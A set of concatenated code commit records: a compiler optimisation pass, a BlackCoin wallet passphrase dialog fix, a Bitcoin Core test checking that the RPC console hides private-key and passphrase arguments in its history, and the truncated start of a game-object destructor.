Instr* i = block->instr_tail;
while (i) {
Instr* prev = i->prev;
if (i->opcode->flags & OPCODE_FLAG_VOLATILE) {
// Volatile instruction - requires all context values be flushed.
++token;
} else if (i->opcode == &OPCODE_STORE_CONTEXT_info) {
size_t offset = i->src1.offset;
if (context_values_[offset] != reinterpret_cast<Value*>(token)) {
// Mark offset as written to.
context_values_[offset] = reinterpret_cast<Value*>(token);
} else {
// Already written to. Remove this store.
i->Remove();
}
}
i = prev;
}
}
} // namespace passes
} // namespace compiler
} // namespace alloy
<|endoftext|>
|
<commit_before>#include "askpassphrasedialog.h"
#include "ui_askpassphrasedialog.h"
#include "guiconstants.h"
#include "walletmodel.h"
#include <QMessageBox>
#include <QPushButton>
#include <QKeyEvent>
extern bool fWalletUnlockStakingOnly;
AskPassphraseDialog::AskPassphraseDialog(Mode mode, QWidget *parent) :
QDialog(parent),
ui(new Ui::AskPassphraseDialog),
mode(mode),
model(0),
fCapsLock(false)
{
ui->setupUi(this);
ui->passEdit1->setMaxLength(MAX_PASSPHRASE_SIZE);
ui->passEdit2->setMaxLength(MAX_PASSPHRASE_SIZE);
ui->passEdit3->setMaxLength(MAX_PASSPHRASE_SIZE);
// Setup Caps Lock detection.
ui->passEdit1->installEventFilter(this);
ui->passEdit2->installEventFilter(this);
ui->passEdit3->installEventFilter(this);
switch(mode)
{
case Encrypt: // Ask passphrase x2
ui->passLabel1->hide();
ui->passEdit1->hide();
ui->warningLabel->setText(tr("Enter the new passphrase to the wallet.<br/>Please use a passphrase of <b>10 or more random characters</b>, or <b>eight or more words</b>."));
setWindowTitle(tr("Encrypt wallet"));
break;
case UnlockStaking:
ui->stakingCheckBox->setChecked(true);
ui->stakingCheckBox->show();
// fallthru
case Unlock: // Ask passphrase
ui->warningLabel->setText(tr("This operation needs your wallet passphrase to unlock the wallet."));
ui->passLabel2->hide();
ui->passEdit2->hide();
ui->passLabel3->hide();
ui->passEdit3->hide();
setWindowTitle(tr("Unlock wallet"));
break;
case Decrypt: // Ask passphrase
ui->warningLabel->setText(tr("This operation needs your wallet passphrase to decrypt the wallet."));
ui->passLabel2->hide();
ui->passEdit2->hide();
ui->passLabel3->hide();
ui->passEdit3->hide();
setWindowTitle(tr("Decrypt wallet"));
break;
case ChangePass: // Ask old passphrase + new passphrase x2
setWindowTitle(tr("Change passphrase"));
ui->warningLabel->setText(tr("Enter the old and new passphrase to the wallet."));
break;
}
textChanged();
connect(ui->passEdit1, SIGNAL(textChanged(QString)), this, SLOT(textChanged()));
connect(ui->passEdit2, SIGNAL(textChanged(QString)), this, SLOT(textChanged()));
connect(ui->passEdit3, SIGNAL(textChanged(QString)), this, SLOT(textChanged()));
}
AskPassphraseDialog::~AskPassphraseDialog()
{
secureClearPassFields();
delete ui;
}
void AskPassphraseDialog::setModel(WalletModel *model)
{
this->model = model;
}
void AskPassphraseDialog::accept()
{
SecureString oldpass, newpass1, newpass2;
if(!model)
return;
oldpass.reserve(MAX_PASSPHRASE_SIZE);
newpass1.reserve(MAX_PASSPHRASE_SIZE);
newpass2.reserve(MAX_PASSPHRASE_SIZE);
// TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string)
// Alternately, find a way to make this input mlock()'d to begin with.
oldpass.assign(ui->passEdit1->text().toStdString().c_str());
newpass1.assign(ui->passEdit2->text().toStdString().c_str());
newpass2.assign(ui->passEdit3->text().toStdString().c_str());
secureClearPassFields();
switch(mode)
{
case Encrypt: {
if(newpass1.empty() || newpass2.empty())
{
// Cannot encrypt with empty passphrase
break;
}
QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm wallet encryption"),
tr("Warning: If you encrypt your wallet and lose your passphrase, you will <b>LOSE ALL OF YOUR COINS</b>!") + "<br><br>" + tr("Are you sure you wish to encrypt your wallet?"),
QMessageBox::Yes|QMessageBox::Cancel,
QMessageBox::Cancel);
if(retval == QMessageBox::Yes)
{
if(newpass1 == newpass2)
{
if(model->setWalletEncrypted(true, newpass1))
{
QMessageBox::warning(this, tr("Wallet encrypted"),
"<qt>" +
tr("BlackCoin will close now to finish the encryption process. "
"Remember that encrypting your wallet cannot fully protect "
"your coins from being stolen by malware infecting your computer.") +
"<br><br><b>" +
tr("IMPORTANT: Any previous backups you have made of your wallet file "
"should be replaced with the newly generated, encrypted wallet file. "
"For security reasons, previous backups of the unencrypted wallet file "
"will become useless as soon as you start using the new, encrypted wallet.") +
"</b></qt>");
QApplication::quit();
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("Wallet encryption failed due to an internal error. Your wallet was not encrypted."));
}
QDialog::accept(); // Success
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("The supplied passphrases do not match."));
}
}
else
{
QDialog::reject(); // Cancelled
}
} break;
case UnlockStaking:
case Unlock:
if(!model->setWalletLocked(false, oldpass))
{
QMessageBox::critical(this, tr("Wallet unlock failed"),
tr("The passphrase entered for the wallet decryption was incorrect."));
}
else
{
fWalletUnlockStakingOnly = ui->stakingCheckBox->isChecked();
QDialog::accept(); // Success
}
break;
case Decrypt:
if(!model->setWalletEncrypted(false, oldpass))
{
QMessageBox::critical(this, tr("Wallet decryption failed"),
tr("The passphrase entered for the wallet decryption was incorrect."));
}
else
{
QDialog::accept(); // Success
}
break;
case ChangePass:
if(newpass1 == newpass2)
{
if(model->changePassphrase(oldpass, newpass1))
{
QMessageBox::information(this, tr("Wallet encrypted"),
tr("Wallet passphrase was successfully changed."));
QDialog::accept(); // Success
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("The passphrase entered for the wallet decryption was incorrect."));
}
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("The supplied passphrases do not match."));
}
break;
}
}
void AskPassphraseDialog::textChanged()
{
// Validate input, set Ok button to enabled when acceptable
bool acceptable = false;
switch(mode)
{
case Encrypt: // New passphrase x2
acceptable = !ui->passEdit2->text().isEmpty() && !ui->passEdit3->text().isEmpty();
break;
case UnlockStaking:
case Unlock: // Old passphrase x1
case Decrypt:
acceptable = !ui->passEdit1->text().isEmpty();
break;
case ChangePass: // Old passphrase x1, new passphrase x2
acceptable = !ui->passEdit1->text().isEmpty() && !ui->passEdit2->text().isEmpty() && !ui->passEdit3->text().isEmpty();
break;
}
ui->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(acceptable);
}
bool AskPassphraseDialog::event(QEvent *event)
{
// Detect Caps Lock key press.
if (event->type() == QEvent::KeyPress) {
QKeyEvent *ke = static_cast<QKeyEvent *>(event);
if (ke->key() == Qt::Key_CapsLock) {
fCapsLock = !fCapsLock;
}
if (fCapsLock) {
ui->capsLabel->setText(tr("Warning: The Caps Lock key is on!"));
} else {
ui->capsLabel->clear();
}
}
return QWidget::event(event);
}
bool AskPassphraseDialog::eventFilter(QObject *object, QEvent *event)
{
/* Detect Caps Lock.
* There is no good OS-independent way to check a key state in Qt, but we
* can detect Caps Lock by checking for the following condition:
* Shift key is down and the result is a lower case character, or
* Shift key is not down and the result is an upper case character.
*/
if (event->type() == QEvent::KeyPress) {
QKeyEvent *ke = static_cast<QKeyEvent *>(event);
QString str = ke->text();
if (str.length() != 0) {
const QChar *psz = str.unicode();
bool fShift = (ke->modifiers() & Qt::ShiftModifier) != 0;
if ((fShift && psz->isLower()) || (!fShift && psz->isUpper())) {
fCapsLock = true;
ui->capsLabel->setText(tr("Warning: The Caps Lock key is on!"));
} else if (psz->isLetter()) {
fCapsLock = false;
ui->capsLabel->clear();
}
}
}
return QDialog::eventFilter(object, event);
}
void AskPassphraseDialog::secureClearPassFields()
{
// Attempt to overwrite text so that they do not linger around in memory
ui->passEdit1->setText(QString(" ").repeated(ui->passEdit1->text().size()));
ui->passEdit2->setText(QString(" ").repeated(ui->passEdit2->text().size()));
ui->passEdit3->setText(QString(" ").repeated(ui->passEdit3->text().size()));
ui->passEdit1->clear();
ui->passEdit2->clear();
ui->passEdit3->clear();
}
<commit_msg>fix relock on sending coins when "for staking only" is activated<commit_after>#include "askpassphrasedialog.h"
#include "ui_askpassphrasedialog.h"
#include "guiconstants.h"
#include "walletmodel.h"
#include <QMessageBox>
#include <QPushButton>
#include <QKeyEvent>
extern bool fWalletUnlockStakingOnly;
AskPassphraseDialog::AskPassphraseDialog(Mode mode, QWidget *parent) :
QDialog(parent),
ui(new Ui::AskPassphraseDialog),
mode(mode),
model(0),
fCapsLock(false)
{
ui->setupUi(this);
ui->passEdit1->setMaxLength(MAX_PASSPHRASE_SIZE);
ui->passEdit2->setMaxLength(MAX_PASSPHRASE_SIZE);
ui->passEdit3->setMaxLength(MAX_PASSPHRASE_SIZE);
// Setup Caps Lock detection.
ui->passEdit1->installEventFilter(this);
ui->passEdit2->installEventFilter(this);
ui->passEdit3->installEventFilter(this);
ui->stakingCheckBox->setChecked(fWalletUnlockStakingOnly);
switch(mode)
{
case Encrypt: // Ask passphrase x2
ui->passLabel1->hide();
ui->passEdit1->hide();
ui->warningLabel->setText(tr("Enter the new passphrase to the wallet.<br/>Please use a passphrase of <b>10 or more random characters</b>, or <b>eight or more words</b>."));
setWindowTitle(tr("Encrypt wallet"));
break;
case UnlockStaking:
ui->stakingCheckBox->setChecked(true);
ui->stakingCheckBox->show();
// fallthru
case Unlock: // Ask passphrase
ui->warningLabel->setText(tr("This operation needs your wallet passphrase to unlock the wallet."));
ui->passLabel2->hide();
ui->passEdit2->hide();
ui->passLabel3->hide();
ui->passEdit3->hide();
setWindowTitle(tr("Unlock wallet"));
break;
case Decrypt: // Ask passphrase
ui->warningLabel->setText(tr("This operation needs your wallet passphrase to decrypt the wallet."));
ui->passLabel2->hide();
ui->passEdit2->hide();
ui->passLabel3->hide();
ui->passEdit3->hide();
setWindowTitle(tr("Decrypt wallet"));
break;
case ChangePass: // Ask old passphrase + new passphrase x2
setWindowTitle(tr("Change passphrase"));
ui->warningLabel->setText(tr("Enter the old and new passphrase to the wallet."));
break;
}
textChanged();
connect(ui->passEdit1, SIGNAL(textChanged(QString)), this, SLOT(textChanged()));
connect(ui->passEdit2, SIGNAL(textChanged(QString)), this, SLOT(textChanged()));
connect(ui->passEdit3, SIGNAL(textChanged(QString)), this, SLOT(textChanged()));
}
AskPassphraseDialog::~AskPassphraseDialog()
{
secureClearPassFields();
delete ui;
}
void AskPassphraseDialog::setModel(WalletModel *model)
{
this->model = model;
}
void AskPassphraseDialog::accept()
{
SecureString oldpass, newpass1, newpass2;
if(!model)
return;
oldpass.reserve(MAX_PASSPHRASE_SIZE);
newpass1.reserve(MAX_PASSPHRASE_SIZE);
newpass2.reserve(MAX_PASSPHRASE_SIZE);
// TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string)
// Alternately, find a way to make this input mlock()'d to begin with.
oldpass.assign(ui->passEdit1->text().toStdString().c_str());
newpass1.assign(ui->passEdit2->text().toStdString().c_str());
newpass2.assign(ui->passEdit3->text().toStdString().c_str());
secureClearPassFields();
switch(mode)
{
case Encrypt: {
if(newpass1.empty() || newpass2.empty())
{
// Cannot encrypt with empty passphrase
break;
}
QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm wallet encryption"),
tr("Warning: If you encrypt your wallet and lose your passphrase, you will <b>LOSE ALL OF YOUR COINS</b>!") + "<br><br>" + tr("Are you sure you wish to encrypt your wallet?"),
QMessageBox::Yes|QMessageBox::Cancel,
QMessageBox::Cancel);
if(retval == QMessageBox::Yes)
{
if(newpass1 == newpass2)
{
if(model->setWalletEncrypted(true, newpass1))
{
QMessageBox::warning(this, tr("Wallet encrypted"),
"<qt>" +
tr("BlackCoin will close now to finish the encryption process. "
"Remember that encrypting your wallet cannot fully protect "
"your coins from being stolen by malware infecting your computer.") +
"<br><br><b>" +
tr("IMPORTANT: Any previous backups you have made of your wallet file "
"should be replaced with the newly generated, encrypted wallet file. "
"For security reasons, previous backups of the unencrypted wallet file "
"will become useless as soon as you start using the new, encrypted wallet.") +
"</b></qt>");
QApplication::quit();
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("Wallet encryption failed due to an internal error. Your wallet was not encrypted."));
}
QDialog::accept(); // Success
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("The supplied passphrases do not match."));
}
}
else
{
QDialog::reject(); // Cancelled
}
} break;
case UnlockStaking:
case Unlock:
if(!model->setWalletLocked(false, oldpass))
{
QMessageBox::critical(this, tr("Wallet unlock failed"),
tr("The passphrase entered for the wallet decryption was incorrect."));
}
else
{
fWalletUnlockStakingOnly = ui->stakingCheckBox->isChecked();
QDialog::accept(); // Success
}
break;
case Decrypt:
if(!model->setWalletEncrypted(false, oldpass))
{
QMessageBox::critical(this, tr("Wallet decryption failed"),
tr("The passphrase entered for the wallet decryption was incorrect."));
}
else
{
QDialog::accept(); // Success
}
break;
case ChangePass:
if(newpass1 == newpass2)
{
if(model->changePassphrase(oldpass, newpass1))
{
QMessageBox::information(this, tr("Wallet encrypted"),
tr("Wallet passphrase was successfully changed."));
QDialog::accept(); // Success
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("The passphrase entered for the wallet decryption was incorrect."));
}
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("The supplied passphrases do not match."));
}
break;
}
}
void AskPassphraseDialog::textChanged()
{
// Validate input, set Ok button to enabled when acceptable
bool acceptable = false;
switch(mode)
{
case Encrypt: // New passphrase x2
acceptable = !ui->passEdit2->text().isEmpty() && !ui->passEdit3->text().isEmpty();
break;
case UnlockStaking:
case Unlock: // Old passphrase x1
case Decrypt:
acceptable = !ui->passEdit1->text().isEmpty();
break;
case ChangePass: // Old passphrase x1, new passphrase x2
acceptable = !ui->passEdit1->text().isEmpty() && !ui->passEdit2->text().isEmpty() && !ui->passEdit3->text().isEmpty();
break;
}
ui->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(acceptable);
}
bool AskPassphraseDialog::event(QEvent *event)
{
// Detect Caps Lock key press.
if (event->type() == QEvent::KeyPress) {
QKeyEvent *ke = static_cast<QKeyEvent *>(event);
if (ke->key() == Qt::Key_CapsLock) {
fCapsLock = !fCapsLock;
}
if (fCapsLock) {
ui->capsLabel->setText(tr("Warning: The Caps Lock key is on!"));
} else {
ui->capsLabel->clear();
}
}
return QWidget::event(event);
}
bool AskPassphraseDialog::eventFilter(QObject *object, QEvent *event)
{
/* Detect Caps Lock.
* There is no good OS-independent way to check a key state in Qt, but we
* can detect Caps Lock by checking for the following condition:
* Shift key is down and the result is a lower case character, or
* Shift key is not down and the result is an upper case character.
*/
if (event->type() == QEvent::KeyPress) {
QKeyEvent *ke = static_cast<QKeyEvent *>(event);
QString str = ke->text();
if (str.length() != 0) {
const QChar *psz = str.unicode();
bool fShift = (ke->modifiers() & Qt::ShiftModifier) != 0;
if ((fShift && psz->isLower()) || (!fShift && psz->isUpper())) {
fCapsLock = true;
ui->capsLabel->setText(tr("Warning: The Caps Lock key is on!"));
} else if (psz->isLetter()) {
fCapsLock = false;
ui->capsLabel->clear();
}
}
}
return QDialog::eventFilter(object, event);
}
void AskPassphraseDialog::secureClearPassFields()
{
// Attempt to overwrite text so that they do not linger around in memory
ui->passEdit1->setText(QString(" ").repeated(ui->passEdit1->text().size()));
ui->passEdit2->setText(QString(" ").repeated(ui->passEdit2->text().size()));
ui->passEdit3->setText(QString(" ").repeated(ui->passEdit3->text().size()));
ui->passEdit1->clear();
ui->passEdit2->clear();
ui->passEdit3->clear();
}
<|endoftext|>
|
<commit_before>// Copyright (c) 2016 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "rpcnestedtests.h"
#include "chainparams.h"
#include "consensus/validation.h"
#include "validation.h"
#include "rpc/register.h"
#include "rpc/server.h"
#include "rpcconsole.h"
#include "test/testutil.h"
#include "univalue.h"
#include "util.h"
#include <QDir>
#include <QtGlobal>
#include <boost/filesystem.hpp>
static UniValue rpcNestedTest_rpc(const JSONRPCRequest& request)
{
if (request.fHelp) {
return "help message";
}
return request.params.write(0, 0);
}
static const CRPCCommand vRPCCommands[] =
{
{ "test", "rpcNestedTest", &rpcNestedTest_rpc, true },
};
void RPCNestedTests::rpcNestedTests()
{
UniValue jsonRPCError;
// do some test setup
// could be moved to a more generic place when we add more tests on QT level
const CChainParams& chainparams = Params();
RegisterAllCoreRPCCommands(tableRPC);
tableRPC.appendCommand("rpcNestedTest", &vRPCCommands[0]);
ClearDatadirCache();
std::string path = QDir::tempPath().toStdString() + "/" + strprintf("test_bitcoin_qt_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));
QDir dir(QString::fromStdString(path));
dir.mkpath(".");
ForceSetArg("-datadir", path);
//mempool.setSanityCheck(1.0);
pblocktree = new CBlockTreeDB(1 << 20, true);
pcoinsdbview = new CCoinsViewDB(1 << 23, true);
pcoinsTip = new CCoinsViewCache(pcoinsdbview);
InitBlockIndex(chainparams);
{
CValidationState state;
bool ok = ActivateBestChain(state, chainparams);
QVERIFY(ok);
}
SetRPCWarmupFinished();
std::string result;
std::string result2;
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()[chain]"); //simple result filtering with path
QVERIFY(result=="main");
RPCConsole::RPCExecuteCommandLine(result, "getblock(getbestblockhash())"); //simple 2 level nesting
RPCConsole::RPCExecuteCommandLine(result, "getblock(getblock(getbestblockhash())[hash], true)");
RPCConsole::RPCExecuteCommandLine(result, "getblock( getblock( getblock(getbestblockhash())[hash] )[hash], true)"); //4 level nesting with whitespace, filtering path and boolean parameter
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo");
QVERIFY(result.substr(0,1) == "{");
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()");
QVERIFY(result.substr(0,1) == "{");
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo "); //whitespace at the end will be tolerated
QVERIFY(result.substr(0,1) == "{");
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()[\"chain\"]")); //Quote path identifier are allowed, but look after a child contaning the quotes in the key
QVERIFY(result == "null");
(RPCConsole::RPCExecuteCommandLine(result, "createrawtransaction [] {} 0")); //parameter not in brackets are allowed
(RPCConsole::RPCExecuteCommandLine(result2, "createrawtransaction([],{},0)")); //parameter in brackets are allowed
QVERIFY(result == result2);
(RPCConsole::RPCExecuteCommandLine(result2, "createrawtransaction( [], {} , 0 )")); //whitespace between parametres is allowed
QVERIFY(result == result2);
RPCConsole::RPCExecuteCommandLine(result, "getblock(getbestblockhash())[tx][0]");
QVERIFY(result == "4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest");
QVERIFY(result == "[]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest ''");
QVERIFY(result == "[\"\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest \"\"");
QVERIFY(result == "[\"\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest '' abc");
QVERIFY(result == "[\"\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc '' abc");
QVERIFY(result == "[\"abc\",\"\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc abc");
QVERIFY(result == "[\"abc\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc\t\tabc");
QVERIFY(result == "[\"abc\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc )");
QVERIFY(result == "[\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest( abc )");
QVERIFY(result == "[\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest( abc , cba )");
QVERIFY(result == "[\"abc\",\"cba\"]");
#if QT_VERSION >= 0x050300
// do the QVERIFY_EXCEPTION_THROWN checks only with Qt5.3 and higher (QVERIFY_EXCEPTION_THROWN was introduced in Qt5.3)
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo() .\n"), std::runtime_error); //invalid syntax
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo() getblockchaininfo()"), std::runtime_error); //invalid syntax
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo(")); //tolerate non closing brackets if we have no arguments
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()()()")); //tolerate non command brackts
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo(True)"), UniValue); //invalid argument
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "a(getblockchaininfo(True))"), UniValue); //method not found
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc,,abc"), std::runtime_error); //don't tollerate empty arguments when using ,
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc,,abc)"), std::runtime_error); //don't tollerate empty arguments when using ,
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc,,)"), std::runtime_error); //don't tollerate empty arguments when using ,
#endif
delete pcoinsTip;
delete pcoinsdbview;
delete pblocktree;
boost::filesystem::remove_all(boost::filesystem::path(path));
}
<commit_msg>Qt/Test: Make sure filtering sensitive data works correctly in nested commands<commit_after>// Copyright (c) 2016 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "rpcnestedtests.h"
#include "chainparams.h"
#include "consensus/validation.h"
#include "validation.h"
#include "rpc/register.h"
#include "rpc/server.h"
#include "rpcconsole.h"
#include "test/testutil.h"
#include "univalue.h"
#include "util.h"
#include <QDir>
#include <QtGlobal>
#include <boost/filesystem.hpp>
static UniValue rpcNestedTest_rpc(const JSONRPCRequest& request)
{
if (request.fHelp) {
return "help message";
}
return request.params.write(0, 0);
}
static const CRPCCommand vRPCCommands[] =
{
{ "test", "rpcNestedTest", &rpcNestedTest_rpc, true },
};
void RPCNestedTests::rpcNestedTests()
{
UniValue jsonRPCError;
// do some test setup
// could be moved to a more generic place when we add more tests on QT level
const CChainParams& chainparams = Params();
RegisterAllCoreRPCCommands(tableRPC);
tableRPC.appendCommand("rpcNestedTest", &vRPCCommands[0]);
ClearDatadirCache();
std::string path = QDir::tempPath().toStdString() + "/" + strprintf("test_bitcoin_qt_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));
QDir dir(QString::fromStdString(path));
dir.mkpath(".");
ForceSetArg("-datadir", path);
//mempool.setSanityCheck(1.0);
pblocktree = new CBlockTreeDB(1 << 20, true);
pcoinsdbview = new CCoinsViewDB(1 << 23, true);
pcoinsTip = new CCoinsViewCache(pcoinsdbview);
InitBlockIndex(chainparams);
{
CValidationState state;
bool ok = ActivateBestChain(state, chainparams);
QVERIFY(ok);
}
SetRPCWarmupFinished();
std::string result;
std::string result2;
std::string filtered;
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()[chain]", &filtered); //simple result filtering with path
QVERIFY(result=="main");
QVERIFY(filtered == "getblockchaininfo()[chain]");
RPCConsole::RPCExecuteCommandLine(result, "getblock(getbestblockhash())"); //simple 2 level nesting
RPCConsole::RPCExecuteCommandLine(result, "getblock(getblock(getbestblockhash())[hash], true)");
RPCConsole::RPCExecuteCommandLine(result, "getblock( getblock( getblock(getbestblockhash())[hash] )[hash], true)"); //4 level nesting with whitespace, filtering path and boolean parameter
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo");
QVERIFY(result.substr(0,1) == "{");
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()");
QVERIFY(result.substr(0,1) == "{");
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo "); //whitespace at the end will be tolerated
QVERIFY(result.substr(0,1) == "{");
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()[\"chain\"]")); //Quote path identifier are allowed, but look after a child contaning the quotes in the key
QVERIFY(result == "null");
(RPCConsole::RPCExecuteCommandLine(result, "createrawtransaction [] {} 0")); //parameter not in brackets are allowed
(RPCConsole::RPCExecuteCommandLine(result2, "createrawtransaction([],{},0)")); //parameter in brackets are allowed
QVERIFY(result == result2);
(RPCConsole::RPCExecuteCommandLine(result2, "createrawtransaction( [], {} , 0 )")); //whitespace between parametres is allowed
QVERIFY(result == result2);
RPCConsole::RPCExecuteCommandLine(result, "getblock(getbestblockhash())[tx][0]", &filtered);
QVERIFY(result == "4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b");
QVERIFY(filtered == "getblock(getbestblockhash())[tx][0]");
RPCConsole::RPCParseCommandLine(result, "importprivkey", false, &filtered);
QVERIFY(filtered == "importprivkey(…)");
RPCConsole::RPCParseCommandLine(result, "signmessagewithprivkey abc", false, &filtered);
QVERIFY(filtered == "signmessagewithprivkey(…)");
RPCConsole::RPCParseCommandLine(result, "signmessagewithprivkey abc,def", false, &filtered);
QVERIFY(filtered == "signmessagewithprivkey(…)");
RPCConsole::RPCParseCommandLine(result, "signrawtransaction(abc)", false, &filtered);
QVERIFY(filtered == "signrawtransaction(…)");
RPCConsole::RPCParseCommandLine(result, "walletpassphrase(help())", false, &filtered);
QVERIFY(filtered == "walletpassphrase(…)");
RPCConsole::RPCParseCommandLine(result, "walletpassphrasechange(help(walletpassphrasechange(abc)))", false, &filtered);
QVERIFY(filtered == "walletpassphrasechange(…)");
RPCConsole::RPCParseCommandLine(result, "help(encryptwallet(abc, def))", false, &filtered);
QVERIFY(filtered == "help(encryptwallet(…))");
RPCConsole::RPCParseCommandLine(result, "help(importprivkey())", false, &filtered);
QVERIFY(filtered == "help(importprivkey(…))");
RPCConsole::RPCParseCommandLine(result, "help(importprivkey(help()))", false, &filtered);
QVERIFY(filtered == "help(importprivkey(…))");
RPCConsole::RPCParseCommandLine(result, "help(importprivkey(abc), walletpassphrase(def))", false, &filtered);
QVERIFY(filtered == "help(importprivkey(…), walletpassphrase(…))");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest");
QVERIFY(result == "[]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest ''");
QVERIFY(result == "[\"\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest \"\"");
QVERIFY(result == "[\"\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest '' abc");
QVERIFY(result == "[\"\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc '' abc");
QVERIFY(result == "[\"abc\",\"\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc abc");
QVERIFY(result == "[\"abc\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc\t\tabc");
QVERIFY(result == "[\"abc\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc )");
QVERIFY(result == "[\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest( abc )");
QVERIFY(result == "[\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest( abc , cba )");
QVERIFY(result == "[\"abc\",\"cba\"]");
#if QT_VERSION >= 0x050300
// do the QVERIFY_EXCEPTION_THROWN checks only with Qt5.3 and higher (QVERIFY_EXCEPTION_THROWN was introduced in Qt5.3)
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo() .\n"), std::runtime_error); //invalid syntax
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo() getblockchaininfo()"), std::runtime_error); //invalid syntax
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo(")); //tolerate non closing brackets if we have no arguments
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()()()")); //tolerate non command brackts
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo(True)"), UniValue); //invalid argument
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "a(getblockchaininfo(True))"), UniValue); //method not found
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc,,abc"), std::runtime_error); //don't tollerate empty arguments when using ,
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc,,abc)"), std::runtime_error); //don't tollerate empty arguments when using ,
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc,,)"), std::runtime_error); //don't tollerate empty arguments when using ,
#endif
delete pcoinsTip;
delete pcoinsdbview;
delete pblocktree;
boost::filesystem::remove_all(boost::filesystem::path(path));
}
<|endoftext|>
|
<commit_before>#include "stdafx.h"
#include "AnnGameObject.hpp"
#include "AnnLogger.hpp"
#include "AnnGetter.hpp"
#include "AnnException.hpp"
using namespace Annwvyn;
AnnGameObject::AnnGameObject() :
Node(nullptr), Model(nullptr), currentAnimation(nullptr),
Shape(nullptr),
Body(nullptr),
bodyMass(0),
audioSource(nullptr),
state(nullptr)
{
}
AnnGameObject::~AnnGameObject()
{
for (auto script : scripts) script->unregisterAsListener();
AnnDebug() << "Destructing game object " << getName() << " !";
//Clean OpenAL de-aloc
if (AnnGetAudioEngine())
AnnGetAudioEngine()->removeSource(audioSource);
if (AnnGetPhysicsEngine())
AnnGetPhysicsEngine()->removeRigidBody(Body);
if (Body) delete Body;
if (Shape)
{
if (Shape->getShapeType() == TRIANGLE_MESH_SHAPE_PROXYTYPE)
